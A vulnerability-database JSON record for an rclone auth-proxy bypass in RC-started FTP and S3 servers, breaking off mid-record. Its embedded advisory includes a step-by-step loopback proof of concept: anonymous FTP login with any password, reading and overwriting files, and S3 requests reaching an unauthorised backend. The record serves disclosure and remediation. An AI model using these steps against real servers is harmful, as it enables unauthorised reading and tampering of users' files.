{"id":"CVE-2026-88044","aliases":["BIT-rclone-2026-88044","DEBIAN-CVE-2026-88044","EUVD-2026-75587","GHSA-p569-5gjg-9cmj","GO-2026-6460","ROOT-APP-GOBINARY-CVE-2026-88044","SUSE-SU-2026:23855-1","SUSE-SU-2026:23863-1","UBUNTU-CVE-2026-88044","openSUSE-SU-2026:21897-1"],"status":"published","title":"rclone: RC per-server auth-proxy bypass","description":"rclone is a command-line program to sync files and directories to and from different cloud storage providers. From 1.70.0 until 1.75.1, the serve/start RC interface accepts per-server proxyOpt.AuthProxy settings, and the FTP and S3 constructors in cmd/serve/ftp/ftp.go and cmd/serve/s3/server.go incorrectly check the process-global proxy.Opt.AuthProxy value instead. When the global value is empty, the request-local authentication proxy is ignored: FTP falls back to the fixed filesystem with username anonymous and any password, while S3 with AuthKey serves the fixed RC fs rather than the backend selected by the proxy. The dedicated command-line servers that configure the global option are not affected. This issue is fixed in version 1.75.1.","severity":{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00492,"percentile":0.4274,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-863"],"published":"2026-09-10T16:08:14Z","modified":"2026-10-28T02:31:07Z","fixes":[{"ecosystem":"Go","package":"github.com/rclone/rclone","fixed_in":["1.75.1"],"sources":["ghsa","osv"]},{"ecosystem":"Bitnami","package":"rclone","fixed_in":["1.75.1"],"sources":["osv"]},{"ecosystem":"Root:Go","package":"github.com/rclone/rclone","fixed_in":["v1.74.1-0.20260628215305-6bbc28cf02dc-aikido.3","v1.74.1-0.20260628215305-6bbc28cf02dc-aikido.4","v1.74.1-0.20260628215305-6bbc28cf02dc-aikido.5"],"sources":["osv"]},{"ecosystem":"Root:Go","package":"rootio-github.com/rclone/rclone","fixed_in":["v1.74.1-0.20260628215305-6bbc28cf02dc-root.io.3","v1.74.1-0.20260628215305-6bbc28cf02dc-root.io.4","v1.74.1-0.20260628215305-6bbc28cf02dc-root.io.5"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"Go","package":"github.com/rclone/rclone","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.70.0"},{"fixed":"1.75.1"}]}]},{"source":"osv","ecosystem":"Bitnami","package":"rclone","ranges":[{"type":"SEMVER","events":[{"introduced":"1.70.0"},{"fixed":"1.75.1"}]}]},{"source":"osv","ecosystem":"Debian:12","package":"rclone","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.60.1+dfsg-2","1.60.1+dfsg-3","1.60.1+dfsg-4","1.65.0+dfsg-1","1.65.0+dfsg-2","1.69.3+dfsg-1","1.69.3+dfsg-2","1.69.3+dfsg-3"]},{"source":"osv","ecosystem":"Debian:13","package":"rclone","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.60.1+dfsg-4","1.65.0+dfsg-1","1.65.0+dfsg-2","1.69.3+dfsg-1","1.69.3+dfsg-2","1.69.3+dfsg-3"]},{"source":"osv","ecosystem":"Go","package":"github.com/rclone/rclone","ranges":[{"type":"SEMVER","events":[{"introduced":"1.70.0"},{"fixed":"1.75.1"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/rclone/rclone","ranges":[{"type":"SEMVER","events":[{"introduced":"1.70.0"},{"fixed":"1.75.1"}]}]},{"source":"osv","ecosystem":"Root:Go","package":"github.com/rclone/rclone","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"v1.74.1-0.20260628215305-6bbc28cf02dc-aikido.3"},{"fixed":"v1.74.1-0.20260628215305-6bbc28cf02dc-aikido.4"},{"fixed":"v1.74.1-0.20260628215305-6bbc28cf02dc-aikido.5"}]}]},{"source":"osv","ecosystem":"Root:Go","package":"rootio-github.com/rclone/rclone","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"v1.74.1-0.20260628215305-6bbc28cf02dc-root.io.3"},{"fixed":"v1.74.1-0.20260628215305-6bbc28cf02dc-root.io.4"},{"fixed":"v1.74.1-0.20260628215305-6bbc28cf02dc-root.io.5"}]}]},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 16.0","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20260916T180043-160000.1.1"}]}],"bundled":91},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP applications 16.0","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20260916T180043-160000.1.1"}]}],"bundled":91},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 16.0","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20260916T180043-160000.1.1"}]}],"bundled":91},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP applications 16.0","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20260916T180043-160000.1.1"}]}],"bundled":91},{"source":"osv","ecosystem":"Ubuntu:18.04:LTS","package":"rclone","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.36-3","1.36-3ubuntu0.1","1.36-3ubuntu0.2"]},{"source":"osv","ecosystem":"Ubuntu:Pro:20.04:LTS","package":"rclone","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.47.0+ex1-6","1.47.0+ex1-7","1.49.5-2","1.49.5-3","1.50.2-2","1.50.2-2ubuntu0.1","1.50.2-2ubuntu0.2","1.50.2-2ubuntu0.2+esm1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:22.04:LTS","package":"rclone","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.53.3-1","1.53.3-2","1.53.3-4","1.53.3-4ubuntu1","1.53.3-4ubuntu1.22.04.1","1.53.3-4ubuntu1.22.04.2","1.53.3-4ubuntu1.22.04.3","1.53.3-4ubuntu1.22.04.3+esm1","1.53.3-4ubuntu1.22.04.4","1.53.3-4ubuntu1.22.04.4+esm1","1.53.3-4ubuntu1.22.04.5","1.53.3-4ubuntu1.22.04.5+esm1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:24.04:LTS","package":"rclone","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.60.1+dfsg-2build1","1.60.1+dfsg-3","1.60.1+dfsg-3ubuntu0.24.04.1","1.60.1+dfsg-3ubuntu0.24.04.2","1.60.1+dfsg-3ubuntu0.24.04.3","1.60.1+dfsg-3ubuntu0.24.04.4","1.60.1+dfsg-3ubuntu0.24.04.4+esm1","1.60.1+dfsg-3ubuntu0.24.04.5","1.60.1+dfsg-3ubuntu0.24.04.5+esm1","1.60.1+dfsg-3ubuntu0.24.04.6","1.60.1+dfsg-3ubuntu0.24.04.6+esm1"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"rclone","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.60.1+dfsg-4ubuntu3","1.69.3+dfsg-3","1.69.3+dfsg-3ubuntu1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:26.04:LTS","package":"rclone","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.60.1+dfsg-4ubuntu2","1.60.1+dfsg-4ubuntu3","1.60.1+dfsg-4ubuntu3.1","1.60.1+dfsg-4ubuntu3.1+esm1","1.60.1+dfsg-4ubuntu3.2","1.60.1+dfsg-4ubuntu3.2+esm1"]},{"source":"osv","ecosystem":"openSUSE:Leap 16.0","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20260916T180043-160000.1.1"}]}],"bundled":91}],"products":[{"vendor":"rclone","product":"rclone"}],"references":[{"url":"https://github.com/rclone/rclone/security/advisories/GHSA-p569-5gjg-9cmj","tags":["x_refsource_CONFIRM","exploit","web","advisory"]},{"url":"https://github.com/rclone/rclone/commit/739403963abf6f58003c2becd5f7c4ad0d644153","tags":["x_refsource_MISC","web","fix"]},{"url":"https://github.com/rclone/rclone/releases/tag/v1.75.1","tags":["x_refsource_MISC","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88044","tags":["web","advisory"]},{"url":"https://github.com/advisories/GHSA-p569-5gjg-9cmj"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/88xxx/CVE-2026-88044.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-88044","tags":["advisory"]},{"url":"https://github.com/rclone/rclone","tags":["package"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-202623855-1/","tags":["advisory"]},{"url":"https://www.suse.com/security/cve/CVE-2025-24978","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-24979","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-58363","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-11720","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-25782","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-26292","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-27660","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-27779","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-27780","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-53495","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56665","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56666","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56668","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56743","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59157","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59161","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59162","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59172","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59185","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59832","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59834","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-60004","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-61625","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-65959","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-67445","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-67446","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-68584","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-68585","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-68586","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-68587","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-69083","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-69084","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-69086","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71493","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71494","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72789","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72790","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72792","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72793","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72794","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72795","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72796","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72797","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72798","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72799","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72800","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72801","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72802","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72803","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72804","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72805","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72806","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72807","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72808","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72809","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72810","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72811","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72812","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72920","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72921","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73087","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73232","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73292","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73293","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73294","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73667","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73840","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73841","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73842","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73843","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-75602","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-76081","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-79921","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-84303","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-84304","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-84445","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-88004","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-88007","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-88008","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-88009","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-88011","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-88012","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-88013","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-88014","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-88015","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-88016","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-88017","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-88018","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-88044","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-88045","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-88046","tags":["web"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-202623863-1/","tags":["advisory"]},{"url":"https://ubuntu.com/security/CVE-2026-88044","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-88044","tags":["report"]},{"url":"","tags":["advisory"]}],"sources":{"cve":[{"id":"CVE-2026-88044","title":"rclone: RC per-server auth-proxy bypass","description":"rclone is a command-line program to sync files and directories to and from different cloud storage providers. From 1.70.0 until 1.75.1, the serve/start RC interface accepts per-server proxyOpt.AuthProxy settings, and the FTP and S3 constructors in cmd/serve/ftp/ftp.go and cmd/serve/s3/server.go incorrectly check the process-global proxy.Opt.AuthProxy value instead. When the global value is empty, the request-local authentication proxy is ignored: FTP falls back to the fixed filesystem with username anonymous and any password, while S3 with AuthKey serves the fixed RC fs rather than the backend selected by the proxy. The dedicated command-line servers that configure the global option are not affected. This issue is fixed in version 1.75.1.","status":"published","published":"2026-09-10T16:08:14.619Z","modified":"2026-09-10T17:14:40.559Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical","assessor":"cna"}],"cwes":["CWE-863"],"updated_at":"2026-11-02T13:41:53.237769Z"}],"euvd":[{"id":"EUVD-2026-75587","description":"rclone is a command-line program to sync files and directories to and from different cloud storage providers. From 1.70.0 until 1.75.1, the serve/start RC interface accepts per-server proxyOpt.AuthProxy settings, and the FTP and S3 constructors in cmd/serve/ftp/ftp.go and cmd/serve/s3/server.go incorrectly check the process-global proxy.Opt.AuthProxy value instead. When the global value is empty, the request-local authentication proxy is ignored: FTP falls back to the fixed filesystem with username anonymous and any password, while S3 with AuthKey serves the fixed RC fs rather than the backend selected by the proxy. The dedicated command-line servers that configure the global option are not affected. This issue is fixed in version 1.75.1.","status":"published","published":"2026-09-10T16:08:14Z","modified":"2026-09-10T17:14:40Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical"}],"updated_at":"2026-11-02T17:28:24.168535Z"}],"ghsa":[{"id":"GHSA-p569-5gjg-9cmj","title":"rclone: RC per-server auth-proxy bypass","description":"## Summary\n\n`serve/start` accepts protocol options in a per-server `proxyOpt` object. The FTP and S3 RC adapters parse that object and pass it to their server constructors, but the constructors decide whether proxy authentication is enabled by checking the process-global `proxy.Opt.AuthProxy` instead of the supplied `proxyOpt.AuthProxy`.\n\nWhen the process-global option is empty—the normal case when only the RC request configures the server—the supplied authentication proxy is silently ignored. FTP falls back to its fixed-backend mode, whose defaults accept username `anonymous` with any password, exposing read, write, and delete operations without the authentication the operator configured. S3 falls back to the fixed filesystem: with an `auth_key`, any holder of that key reaches the fixed RC `fs` instead of the backend selected by the auth proxy.\n\nThe S3 no-`auth_key` mode is explicitly documented as anonymous and is not part of this vulnerability claim. The confirmed S3 impact is proxy-based authorization/backend routing being ignored when S3 authentication is otherwise enabled.\n\nConfirmed affected versions are `v1.70.0` through `v1.75.0`, plus development commit `5629f2668c69149bf3d9d8e2a25bb32a2648606e`. The dedicated CLI commands use the process-global option and are not affected by this configuration mismatch.\n\n## Affected Assets \u0026 Attack Surface\n\n- `cmd/serve/rc.go:68-93` documents nested per-server `proxyOpt` support, including `AuthProxy`.\n- `cmd/serve/rc.go:111-148` resolves the fixed `fs` and invokes the selected per-protocol RC constructor.\n- `cmd/serve/ftp/ftp.go:96-116` parses the request-local `proxyOpt` and passes it to `newServer`.\n- `cmd/serve/ftp/ftp.go:186-207` checks `proxy.Opt.AuthProxy` at line 202 instead of `proxyOpt.AuthProxy`; the false branch creates `globalVFS` from the RC-supplied filesystem.\n- `cmd/serve/ftp/ftp.go:54-60` defines the fallback credentials as user `anonymous` and an empty password.\n- `cmd/serve/ftp/ftp.go:318-349` accepts any password when the configured fallback password is empty.\n- `cmd/serve/s3/s3.go:76-96` parses and passes the request-local S3 proxy options.\n- `cmd/serve/s3/server.go:67-101` checks `proxy.Opt.AuthProxy` at line 91 and otherwise exposes the fixed VFS. S3 authentication through `AuthKey` remains separate from proxy-based backend selection.\n- Network attack surface: FTP data and control operations on an RC-started server; authenticated S3 operations on an RC-started server intended to route access keys to distinct proxy backends.\n- Configuration attack surface: `rclone rc serve/start ... proxyOpt='{\"AuthProxy\":\"...\"}'` or the equivalent JSON request.\n\n## Technical Root Cause Analysis\n\nThe serve implementation has two option scopes:\n\n- `proxy.Opt` is process-global and is populated by command-line/global option parsing.\n- `proxyOpt` is a constructor argument populated from the individual `serve/start` request.\n\nThe RC adapters correctly create a local copy, apply the request parameters, and call `newServer(..., \u0026proxyOpt)`. Neither adapter mutates the global. The constructors then branch on the wrong value:\n\n```go\n// Current FTP and S3 pattern\nif proxy.Opt.AuthProxy != \"\" {\n    // Uses proxyOpt only after the unrelated global check succeeds.\n    serverProxy = proxy.New(ctx, proxyOpt, vfsOpt)\n} else {\n    // Fail-open fixed-backend mode.\n}\n```\n\nConsequently, a valid, documented per-server security option is parsed without error but does not select the security mode it represents. This is not merely an unsupported combination: both RC adapters explicitly parse `proxyOpt`, and the generic `serve/start` documentation gives `proxyOpt.AuthProxy` as an example.\n\nFor FTP, the fallback is security-critical because its default account accepts an arbitrary password. For S3, the fallback bypasses the proxy's backend decision, but it does not independently bypass a configured `AuthKey`. If no `AuthKey` is configured, anonymous S3 access is expected behavior and should not be cited as impact.\n\n## Proof of Concept \u0026 Evidence\n\nThe following loopback-only reproduction uses an auth proxy that rejects every login. If the request-local proxy were active, no FTP login could succeed.\n\nBuild the inspected revision, then prepare a fixed filesystem and rejecting proxy:\n\n```sh\nmkdir -p /tmp/rclone-rc-root\nprintf 'fixed-backend-secret\\n' \u003e /tmp/rclone-rc-root/secret.txt\nrm -f /tmp/rclone-auth-proxy-invoked\n\ncat \u003e /tmp/deny-rclone-proxy.sh \u003c\u003c'EOF'\n#!/bin/sh\nprintf 'invoked\\n' \u003e\u003e /tmp/rclone-auth-proxy-invoked\ncat \u003e/dev/null\nexit 1\nEOF\nchmod 700 /tmp/deny-rclone-proxy.sh\n```\n\nStart RC on loopback in one terminal:\n\n```sh\n./rclone rcd --rc-addr 127.0.0.1:5572 --rc-no-auth\n```\n\nStart an FTP server with only the request-local auth proxy configured:\n\n```sh\n./rclone rc --url http://127.0.0.1:5572 \\\n  serve/start \\\n  type=ftp \\\n  fs=/tmp/rclone-rc-root \\\n  proxyOpt='{\"AuthProxy\":\"/tmp/deny-rclone-proxy.sh\"}' \\\n  opt='{\"ListenAddr\":\"127.0.0.1:2121\",\"PassivePorts\":\"30000-30010\"}'\n```\n\nConnect with the fallback credentials and exercise read and write access:\n\n```sh\npython3 - \u003c\u003c'PY'\nimport ftplib\nimport io\n\nftp = ftplib.FTP()\nftp.connect(\"127.0.0.1\", 2121, timeout=5)\nftp.login(\"anonymous\", \"arbitrary-password\")\n\ndata = bytearray()\nftp.retrbinary(\"RETR secret.txt\", data.extend)\nprint(data.decode().strip())\n\nftp.storbinary(\"STOR overwritten.txt\", io.BytesIO(b\"attacker-controlled\\n\"))\nftp.quit()\nPY\n\ntest ! -e /tmp/rclone-auth-proxy-invoked\ngrep -F attacker-controlled /tmp/rclone-rc-root/overwritten.txt\n```\n\nObserved against `5629f2668c69149bf3d9d8e2a25bb32a2648606e`:\n\n- Login as `anonymous` succeeds with an arbitrary password.\n- `secret.txt` is returned from the fixed RC filesystem.\n- `overwritten.txt` is created in that filesystem.\n- The rejecting auth-proxy program is never invoked.\n\nThe equivalent automated network test, `TestSecurityValidationRCPerServerAuthProxyFTP`, called the actual `serve/start` RC handler, connected through `github.com/jlaffaye/ftp`, retrieved the fixed-root secret, uploaded a new object, and verified its bytes on disk. It passed on Windows/amd64 with Go 1.26.2:\n\n```text\n=== RUN   TestSecurityValidationRCPerServerAuthProxyFTP\n--- PASS: TestSecurityValidationRCPerServerAuthProxyFTP (0.14s)\n```\n\n### Authenticated S3 backend-routing reproduction\n\nThis validation distinguishes the S3 issue from documented anonymous mode. Prepare two different roots:\n\n```sh\nmkdir -p /tmp/rclone-s3-fixed/bucket /tmp/rclone-s3-proxy/bucket\nprintf 'fixed-backend-secret\\n' \u003e /tmp/rclone-s3-fixed/bucket/fixed-secret.txt\nprintf 'proxy-backend-only\\n' \u003e /tmp/rclone-s3-proxy/bucket/proxy-only.txt\n\ncat \u003e /tmp/rclone-s3-route-proxy.py \u003c\u003c'PY'\n#!/usr/bin/env python3\nimport json\nimport sys\n\njson.load(sys.stdin)\nprint(json.dumps({\"type\": \"local\", \"_root\": \"/tmp/rclone-s3-proxy\"}))\nPY\nchmod 700 /tmp/rclone-s3-route-proxy.py\n```\n\nUsing the same loopback RC process, start an authenticated S3 server:\n\n```sh\n./rclone rc --url http://127.0.0.1:5572 serve/start --json '{\n  \"type\": \"s3\",\n  \"fs\": \"/tmp/rclone-s3-fixed\",\n  \"addr\": \"127.0.0.1:8080\",\n  \"auth_key\": [\"validation-key,validation-secret\"],\n  \"proxyOpt\": {\n    \"AuthProxy\": \"python3 /tmp/rclone-s3-route-proxy.py\"\n  }\n}'\n```\n\nSend a correctly signed S3 request:\n\n```sh\nAWS_ACCESS_KEY_ID=validation-key \\\nAWS_SECRET_ACCESS_KEY=validation-secret \\\nAWS_DEFAULT_REGION=us-east-1 \\\naws --endpoint-url http://127.0.0.1:8080 \\\n  s3api get-object \\\n  --bucket bucket \\\n  --key fixed-secret.txt \\\n  /tmp/rclone-s3-result\n\ngrep -F fixed-backend-secret /tmp/rclone-s3-result\n```\n\nIf the request-local proxy were active, `fixed-secret.txt` would not exist because the proxy selects `/tmp/rclone-s3-proxy`. Current code serves it from `/tmp/rclone-s3-fixed`. Conversely, a request for `proxy-only.txt` returns `NoSuchKey`.\n\nThe automated validation `TestSecurityValidationRCPerServerAuthProxyS3Routing` performed this sequence through the actual `serve/start` handler and a MinIO Signature V4 client. It used a valid `AuthKey`, fetched `fixed-secret.txt`, and confirmed that `proxy-only.txt` was absent:\n\n```text\n=== RUN   TestSecurityValidationRCPerServerAuthProxyS3Routing\n--- PASS: TestSecurityValidationRCPerServerAuthProxyS3Routing (0.17s)\n```\n\nThis demonstrates backend-authorization bypass, not anonymous S3 access.\n\n## Impact Assessment\n\nFor RC-started FTP servers configured to use an auth proxy, an unauthenticated network client can read, create, overwrite, and delete objects in the fixed filesystem supplied to `serve/start`, subject only to VFS options such as `read_only`. This is a complete authentication bypass and grants capabilities the attacker did not previously possess.\n\nFor RC-started S3 servers that combine `auth_key` with auth-proxy backend selection, a client with any accepted S3 key can reach the fixed filesystem rather than the filesystem authorized for that access key. The resulting cross-backend disclosure or modification depends on what the RC caller supplied as `fs` and on the fixed filesystem's VFS permissions.\n\nExploitation does not require changing globals, controlling the RC endpoint, or using an unusual protocol extension. It requires an operator to use the documented per-server proxy option and expose the resulting FTP or S3 listener. CLI-started servers whose auth proxy is set globally are not affected.\n\n## Remediation Guidance\n\nChange the mode checks in both constructors to use the option object passed to that server:\n\n```go\nif proxyOpt != nil \u0026\u0026 proxyOpt.AuthProxy != \"\" {\n    d.proxy = proxy.New(ctx, proxyOpt, vfsOpt)\n    // Do not create a fixed/global VFS in this mode.\n} else {\n    d.globalVFS = vfs.New(ctx, f, vfsOpt)\n}\n```\n\nApply the equivalent change in `cmd/serve/s3/server.go`. Do not copy the local option into the global as a workaround; multiple RC-started servers may intentionally use different auth proxies, and global mutation would introduce cross-server races and configuration leakage.\n\nAlso:\n\n- Validate a nil or empty proxy command before constructing proxy mode and return a startup error rather than falling back.\n- In S3, make the “allowing anonymous access” log conditional on both the absence of `AuthKey` and the absence of an active auth proxy, so the log reflects the effective mode.\n- Add RC integration tests for FTP and S3 with global `proxy.Opt.AuthProxy` empty and nested `proxyOpt.AuthProxy` non-empty.\n- In the FTP test, use a rejecting proxy and assert that anonymous login fails and the proxy is invoked.\n- In the S3 test, configure `AuthKey`, map two access keys or proxy responses to distinct roots, and assert that a request never reaches the fixed RC `fs`.\n- Add a multi-server test proving that two simultaneous `serve/start` instances can use different proxy settings without consulting or mutating global state.\n- Audit other `serve.AddRc` implementations for the same pattern: parsing a request-local option but branching on its global counterpart.","status":"published","published":"2026-09-10T22:47:10Z","modified":"2026-09-10T22:47:10Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical"}],"cwes":["CWE-863"],"updated_at":"2026-11-02T14:41:15.803194Z"}],"nvd":[{"id":"CVE-2026-88044","description":"rclone is a command-line program to sync files and directories to and from different cloud storage providers. From 1.70.0 until 1.75.1, the serve/start RC interface accepts per-server proxyOpt.AuthProxy settings, and the FTP and S3 constructors in cmd/serve/ftp/ftp.go and cmd/serve/s3/server.go incorrectly check the process-global proxy.Opt.AuthProxy value instead. When the global value is empty, the request-local authentication proxy is ignored: FTP falls back to the fixed filesystem with username anonymous and any password, while S3 with AuthKey serves the fixed RC fs rather than the backend selected by the proxy. The dedicated command-line servers that configure the global option are not affected. This issue is fixed in version 1.75.1.","status":"published","published":"2026-09-10T17:17:08.387Z","modified":"2026-09-10T19:54:25.81Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical","assessor":"secondary"}],"cwes":["CWE-863"],"updated_at":"2026-11-02T14:12:46.271848Z"}],"osv":[{"id":"CVE-2026-88044","title":"rclone: RC per-server auth-proxy bypass","description":"rclone is a command-line program to sync files and directories to and from different cloud storage providers. From 1.70.0 until 1.75.1, the serve/start RC interface accepts per-server proxyOpt.AuthProxy settings, and the FTP and S3 constructors in cmd/serve/ftp/ftp.go and cmd/serve/s3/server.go incorrectly check the process-global proxy.Opt.AuthProxy value instead. When the global value is empty, the request-local authentication proxy is ignored: FTP falls back to the fixed filesystem with username anonymous and any password, while S3 with AuthKey serves the fixed RC fs rather than the backend selected by the proxy. The dedicated command-line servers that configure the global option are not affected. This issue is fixed in version 